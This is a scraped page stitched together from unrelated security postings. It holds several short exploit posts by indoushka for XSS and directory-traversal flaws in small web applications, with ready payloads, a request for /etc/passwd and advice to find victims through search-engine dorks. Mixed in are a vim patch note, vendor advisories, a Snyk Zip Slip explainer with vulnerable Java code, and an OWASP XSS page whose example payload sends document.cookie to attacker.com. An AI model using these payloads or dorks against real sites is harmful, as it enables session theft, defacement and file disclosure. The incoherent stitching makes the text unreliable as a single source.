Izdelava IDS version 2.0 suffers from a cross site scripting vulnerability.

**Izdelava IDS 2.0 Cross Site Scripting**

Posted Sep 7, 2023

Authored by indoushka

Izdelava IDS version 2.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 0ef798585da30c6f8445d7bd8186a6b3603ee0ca8ce5383bd27b385d754bf05c

Download | Favorite | View

**Izdelava IDS 2.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Izdelava IDS v2.0 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : http://studiointera.net                                                                                            |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /preview.php?id=9'<script>alert(/indoushka/);</script>[+] http://127.0.0.1/gspostojnanet/vnosi/cms/preview.php?id=9%27%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,139)
*   Arbitrary (16,235)
*   BBS (2,859)
*   Bypass (1,743)
*   CGI (1,027)
*   Code Execution (7,289)
*   Conference (680)
*   Cracker (842)
*   CSRF (3,348)
*   DoS (23,499)
*   Encryption (2,370)
*   Exploit (52,056)
*   File Inclusion (4,227)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,791)
*   Intrusion Detection (892)
*   Java (3,049)
*   JavaScript (859)
*   Kernel (6,717)
*   Local (14,491)
*   Magazine (586)
*   Overflow (12,701)
*   Perl (1,423)
*   PHP (5,152)
*   Proof of Concept (2,343)
*   Protocol (3,604)
*   Python (1,535)
*   Remote (30,843)
*   Root (3,588)
*   Rootkit (509)
*   Ruby (612)
*   Scanner (1,641)
*   Security Tool (7,893)
*   Shell (3,192)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,208)
*   SQL Injection (16,403)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (666)
*   Vulnerability (31,811)
*   Web (9,691)
*   Whitepaper (3,751)
*   x86 (962)
*   XSS (17,988)
*   Other

**File Archives**

*   September 2023
*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (372)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,828)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (68)
*   Linux (46,638)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,823)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,885)
*   UNIX (9,305)
*   UnixWare (186)
*   Windows (6,582)
*   Other

Izdelava IDS 2.0 Cross Site Scripting

Untrusted Search Path in GitHub repository vim/vim prior to 9.0.1833.

**Commit**

Permalink

Browse files

Browse the repository at this point in the history

patch 9.0.1833: \[security\] runtime file fixes

Problem:  runtime files may execute code in current dir
Solution: only execute, if not run from current directory

The perl, zig and ruby filetype plugins and the zip and gzip autoload
plugins may try to load malicious executable files from the current
working directory.  This is especially a problem on windows, where the
current directory is implicitly in your $PATH and windows may even run a
file with the extension \`.bat\` because of $PATHEXT.

So make sure that we are not trying to execute a file from the current
directory. If this would be the case, error out (for the zip and gzip)
plugins or silently do not run those commands (for the ftplugins).

This assumes, that only the current working directory is bad. For all
other directories, it is assumed that those directories were
intentionally set to the $PATH by the user.

Signed-off-by: Christian Brabandt <cb@256bit.org>

*   Loading branch information

CVE-2023-4736: patch 9.0.1833: [security] runtime file fixes · vim/vim@816fbcc

An incorrect comparison vulnerability was identified in GitHub Enterprise Server that allowed commit smuggling by displaying an incorrect diff in a re-opened Pull Request. To exploit this vulnerability, an attacker would need write access to the repository. This vulnerability was reported via the  GitHub Bug Bounty Program https://bounty.github.com/ .


CVE-2023-23765: Release notes - GitHub Enterprise Server 3.8 Docs

An unhandled edge case in the component _sanitizedPath of ZipArchive v2.5.4 allows attackers to cause a Denial of Service (DoS) via a crafted zip file.

The vulnerability has been found in multiple ecosystems, including JavaScript, Ruby, .NET and Go, but is especially prevalent in Java, where there is no central library offering high level processing of archive (e.g. zip) files. The lack of such a library led to vulnerable code snippets being hand crafted and shared among developer communities such as StackOverflow.

The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. If you’d like the information on this page in a downloadable technical white paper, click the button below.

Download Technical White Paper

Zip Slip is a form of directory traversal that can be exploited by extracting files from an archive. The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers.

**Exploitable Application Flow**

The two parts required to exploit this vulnerability is a malicious archive and extraction code that does not perform validation checking. Let’s look through each of these in turn. First of all, the contents of the zip file needs to have one or more files that break out of the target directory when extracted. In the example below, we can see the contents of a zip file. It has two files, a good.sh file which would be extracted into the target directory and an evil.sh file which is trying to traverse up the directory tree to hit the root and then add a file into the tmp directory. When you attempt to cd .. in the root directory, you still find yourself in the root directory, so a malicious path could contain many levels of ../ to stand a better chance of reaching the root directory, before trying to traverse to sensitive files.

           
  5 Tue Jun 5 11:04:29 BST 2018 good.sh 20 Tue Jun 5 11:04:42 BST 2018 ../../../../../../../../tmp/evil.sh
          
  

The contents of this zip file have to be hand crafted. Archive creation tools don’t typically allow users to add files with these paths, despite the zip specification allowing it. However, with the right tools, it’s easy to create files with these paths.

The second thing you’ll need to exploit this vulnerability is to extract the archive, either using your own code or a library. The vulnerability exists when the extraction code omits validation on the file paths in the archive. An example of a vulnerable code snippet (example shown in Java) can be seen below.

     
  1   Enumeration<ZipEntry>entries = zip.getEntries(); 
  2   while (entries.hasMoreElements()) { 
  3       ZipEntry e = entries.nextElement(); 
  4       File f = new File(destinationDir, e.getName()); 
  5       InputStream input = zip.getInputStream(e); 
  6       IOUtils.copy(input, write(f)); 
  7   }
          
  

You can see on line 4, e.getName() is concatenated with the target directory, dir, without being validated. At this point, when our zip archive gets to our evil.sh, it will append the full path (including every ../) of the zip entry to the target directory resulting in evil.sh being written outside of the target directory.

To see Zip Slip in action,

watch us exploit the vulnerable java-goof application

, a sample application used to show many known vulnerabilities.

**Are you Vulnerable?**

You are vulnerable if you are either using a library which contains the Zip Slip vulnerability or your project directly contains vulnerable code, which extracts files from an archive without the necessary directory traversal validation. Snyk is maintaining a GitHub repository listing all projects that have been found vulnerable to Zip Slip and have been responsibly disclosed to, including fix dates and versions. The repository is open to contributions from the wider community to ensure it holds the most up to date status.s.

**What action should you take?**

Here are some steps you can take to check if your project’s dependencies of code contain the Zip Slip vulnerability:

**1\. Search through your projects for vulnerable code.**  

Expand this section

Groovy

Expand this section

JavaScript

Expand this section

Ruby & Python

**2\. Add Zip Slip Security Testing to your application build pipeline**

If you’d prefer not to search through your direct and transitive dependencies (of which you likely have hundreds) to determine if you’re using a vulnerable library, you can choose a dependency vulnerability scanning tool, like Snyk. It’s a good practice to add security testing into your development lifecycle stages, such as during development, CI, deployment and production. You can test your own projects (all the ecosystems mentioned above are supported) to determine if they are vulnerable to Zip Slip.

**Other vulnerable projects**

Vulnerable projects include projects in various ecosystems that either use the libraries mentioned above or directly include vulnerable code. Of the many thousands of projects that have contained similar vulnerable code samples or accessed vulnerable libraries, the most significant include: Oracle, Amazon, Spring/Pivotal, Linkedin, Twitter, Alibaba, Jenkinsci, Eclipse, OWASP, SonarQube, OpenTable, Arduino, ElasticSearch, Selenium, JetBrains and Google.

**Thank you!**

The Snyk security team would like for thank all the vendors, project owners and the community members that helped raise awareness, find and fix vulnerabilities in projects across many ecosystems.

CVE-2023-39136: Snyk Vulnerability Database | Snyk

IQ-Medya CMS version 2.0 suffers from a cross site scripting vulnerability.

**IQ-Medya CMS 2.0 Cross Site Scripting**

Posted Aug 30, 2023

Authored by indoushka

IQ-Medya CMS version 2.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ab1e62fc2de79708c62ff8ba7205592a862ce474915df4ff25b9a691573bdc26

Download | Favorite | View

**IQ-Medya CMS 2.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : İQ-Medya CMS v2.0 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://iq-medya.net.tr                                                                                            |  | # Dork      : intext:''Tasarım iQ Digital''                                                                                      |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /tr/blog.php?page=<script>alert(/indoushka/);</script>[+]  http://127.0.0.1/uzmangayrimenkulcomtr/tr/blog.php?page=%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,058)
*   Arbitrary (16,220)
*   BBS (2,859)
*   Bypass (1,741)
*   CGI (1,026)
*   Code Execution (7,285)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,462)
*   Encryption (2,370)
*   Exploit (52,004)
*   File Inclusion (4,225)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,788)
*   Intrusion Detection (892)
*   Java (3,046)
*   JavaScript (859)
*   Kernel (6,696)
*   Local (14,466)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,340)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,817)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,891)
*   Shell (3,188)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,394)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (666)
*   Vulnerability (31,798)
*   Web (9,671)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,974)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,822)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (68)
*   Linux (46,555)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,781)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,852)
*   UNIX (9,302)
*   UnixWare (186)
*   Windows (6,579)
*   Other

IQ-Medya CMS 2.0 Cross Site Scripting

ImgHosting version 1.2 suffers from a cross site scripting vulnerability.

**ImgHosting 1.2 Cross Site Scripting**

Posted Aug 29, 2023

Authored by indoushka

ImgHosting version 1.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 3e0de4ff80dc516a1abe50185e5807a1e503d782b2cd24457e01031368191dc0

Download | Favorite | View

**ImgHosting 1.2 Cross Site Scripting**

    ====================================================================================================================================| # Title     : ImgHosting v1.2 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               | | # Vendor    : https://codecanyon.net/user/FoxSash/?ref=FoxSash                                                                   |  | # Dork      : "ImgHosting  Programming by FoxSash"                                                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : ?search=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://127.0.0.1/pikhostinom/?search=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,046)
*   Arbitrary (16,219)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,283)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,460)
*   Encryption (2,370)
*   Exploit (52,001)
*   File Inclusion (4,225)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,788)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,694)
*   Local (14,460)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,339)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,816)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,891)
*   Shell (3,187)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,394)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (666)
*   Vulnerability (31,796)
*   Web (9,671)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,973)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,822)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,543)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,777)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,844)
*   UNIX (9,301)
*   UnixWare (186)
*   Windows (6,579)
*   Other

ImgHosting 1.2 Cross Site Scripting

An update for the virt:rhel and virt-devel:rhel modules is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

Related CVEs:
* CVE-2023-2700: A vulnerability was found in libvirt. This security flaw occurs due to repeatedly querying an SR-IOV PCI device's capabilities that exposes a memory leak caused by a failure to free the virPCIVirtualFunction array within the parent struct's g_autoptr cleanup.


RHSA-2023:4799: Red Hat Security Advisory: virt:rhel and virt-devel:rhel security and bug fix update

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

**Hasan MWB 1 Cross Site Scripting**

Posted Aug 28, 2023

Authored by indoushka

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4a53646feef7ce0d66491bbe2483dcbe70097fdb2aef17667fd6e5a2c356c92e

Download | Favorite | View

**Hasan MWB 1 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Hasan MWB v1 - XSS Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               || # Vendor    : http://sourceforge.net/                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /?q=1</title><ScRiPt >prompt(/indoushka/)</ScRiPt>[+] go to http://127.0.0.1/hasanmwbsourceforgenet/?q=1%3C/title%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,016)
*   Arbitrary (16,216)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,456)
*   Encryption (2,370)
*   Exploit (51,984)
*   File Inclusion (4,224)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,786)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,338)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,811)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,889)
*   Shell (3,187)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,392)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,967)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,822)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,514)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,754)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,838)
*   UNIX (9,293)
*   UnixWare (186)
*   Windows (6,575)
*   Other

Hasan MWB 1 Cross Site Scripting

IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.

OWASP Top Ten 2017

Threat Agents / Attack Vectors

Security Weakness

Impacts

App. Specific

Exploitability: 3

Prevalence: 3

Detectability: 3

Technical: 2

Business ?

Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.

XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.  
Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET.

The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim’s browser, such as stealing credentials, sessions, or delivering malware to the victim.

Is the Application Vulnerable?

There are three forms of XSS, usually targeting users’ browsers:  
\* **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.  
\* **Stored XSS**: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.  
\* **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.  
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

How to Prevent

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:  
\* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.  
\* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has details on the required data escaping techniques.  
\* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.  
\* Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).  

Example Attack Scenarios

**Scenario #1**: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:  
**(String) page += "<input name='creditcard' type='TEXT'  
****value='" + request.getParameter("CC") + "'>";  
**The attacker modifies the ‘CC’ parameter in the browser to:  
**'><script>document.location=  
****'http://www.attacker.com/cgi-bin/cookie.cgi?  
****foo='+document.cookie</script>'.  
**This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.  
**Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

References

CVE-2023-39700: OWASP Top Ten 2017 | A7:2017-Cross-Site Scripting (XSS)

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

**GraceHRM 1.0.3 Directory Traversal**

Posted Aug 24, 2023

Authored by indoushka

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 1ef7aca42ba692fa60907a0530d21ee9db579bba9acd7d508271bcf4d6e8171a

Download | Favorite | View

**GraceHRM 1.0.3 Directory Traversal**

    ====================================================================================================================================| # Title     : GraceHRM v1.0.3 Directory traversal Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : http://p30vel.ir/                                                                                                  |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /admin/download?type=files&filename=../../../../../../../../../etc/passwd[+] http://127.0.0.1/hrmgraceitltdcom/admin/download?type=files&filename=../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,010)
*   Arbitrary (16,214)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,453)
*   Encryption (2,370)
*   Exploit (51,962)
*   File Inclusion (4,223)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,785)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,338)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,803)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,889)
*   Shell (3,187)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,385)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,956)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,508)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,753)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,836)
*   UNIX (9,292)
*   UnixWare (186)
*   Windows (6,575)
*   Other

Tag

#ruby